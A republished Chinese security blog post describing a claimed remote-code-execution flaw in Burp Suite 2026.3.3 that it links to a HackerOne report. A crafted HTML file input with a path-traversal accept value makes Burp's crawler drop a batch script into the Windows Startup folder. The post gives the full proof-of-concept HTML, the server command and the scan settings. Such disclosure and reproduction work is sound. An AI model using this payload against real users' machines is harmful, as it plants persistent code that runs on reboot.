文章总结： 文档披露BurpSuite2026.3.3版本存在RCE漏洞，攻击者可通过构造恶意HTML文件诱导Burp爬虫扫描，将后门脚本写入系统自启目录实现权限维持。文章提供完整复现步骤包括搭建POC服务器、配置扫描参数及验证自启效果，并附官方漏洞报告链接。该漏洞危害性高，建议用户及时排查并更新软件版本。 综合评分： 75 文章分类： 漏洞分析,渗透测试,WEB安全,红队,实战经验
警惕Burp_2026.3.3：一次普通的网站爬取，沦为RCE后门的入口！| $5K漏洞悬赏，一图看懂！
FL_Clover FL_Clover
网络安全007
2026年6月15日 16:13 广东
在小说阅读器读本章
去阅读
又是一个$5000的洞洞，平时大家也可以在自己本地进行复现，也比较有意思，可以玩一下，特别是平时挖bc的师傅们，说不定某个网站就有这种，一不小心就自己中招了。
一、思维导图
画了个思维导图，更简单明了。
二、复现详情过程
1.准备一个html脚本文件代码
<!doctype html><html> <body> <form action="/upload" method="post" enctype="multipart/form-data"> <input type="file" name="upload" value="calc.exe" accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat"> <button type="submit">Upload</button> </form> </body></html>
2.自启http服务，端口自定义，将上面的代码文件放在服务中进行访问
python -m http.server 8000http://192.168.186.149:8000/poc_file_input_write_startup_calc.html
3.新建扫描，扫描刚才自己搭建的网站
Dashboard -> New scan -> CrawlURLs to scan -> http://192.168.186.149:8000/poc_file_input_write_startup_calc.html// to make it clearScan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burps' browser
4.最后可以在自启任务中发现恶意脚本，该脚本可通过html代码自定义，例如官方提供的地址，可自身检查一下。
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat
5.然后重启计算机就会发现刚才的恶意脚本执行了，延迟攻击手段的一种。
三、官方发布地址
感兴趣的师傅可以去看看具体的复现过程以及详细的分析过程
https://hackerone.com/reports/3712279
操作视频如下：
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
网络安全007已关注
分享视频
，时长05:21
0/0
00:00/05:21
切换到横屏模式
继续播放
[ ]
进度条，百分之0
播放
00:00
/
05:21
05:21
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
警惕Burp_2026.3.3：一次普通的网站爬取，沦为RCE后门的入口！| $5K漏洞悬赏，一图看懂！
观看更多
转载
,
警惕Burp_2026.3.3：一次普通的网站爬取，沦为RCE后门的入口！| $5K漏洞悬赏，一图看懂！
网络安全007已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
免责声明：
本文章仅做网络安全技术研究使用！另利用网络安全007公众号所提供的所有信息进行违法犯罪或造成任何后果及损失，均由使用者自身承担负责，与网络安全007公众号无任何关系，也不为其负任何责任，请各位自重！公众号发表的一切文章如有侵权烦请私信联系告知，我们会立即删除并对您表达最诚挚的歉意！感谢您的理解！让我们一起为中国网络安全事业尽一份自己的绵薄之力！
—推荐阅读—
攻防演习系列
渗透技术文章系列
未授权漏洞系列
HW专项系列
应急响应系列
工具推荐系列
写作不易，分享快乐
期待你的 分享●点赞●在看●关注●收藏****
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：网络安全007 FLClover FLClover《警惕Burp_2026.3.3：一次普通的网站爬取，沦为RCE后门的入口！| $5K漏洞悬赏，一图看懂！》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论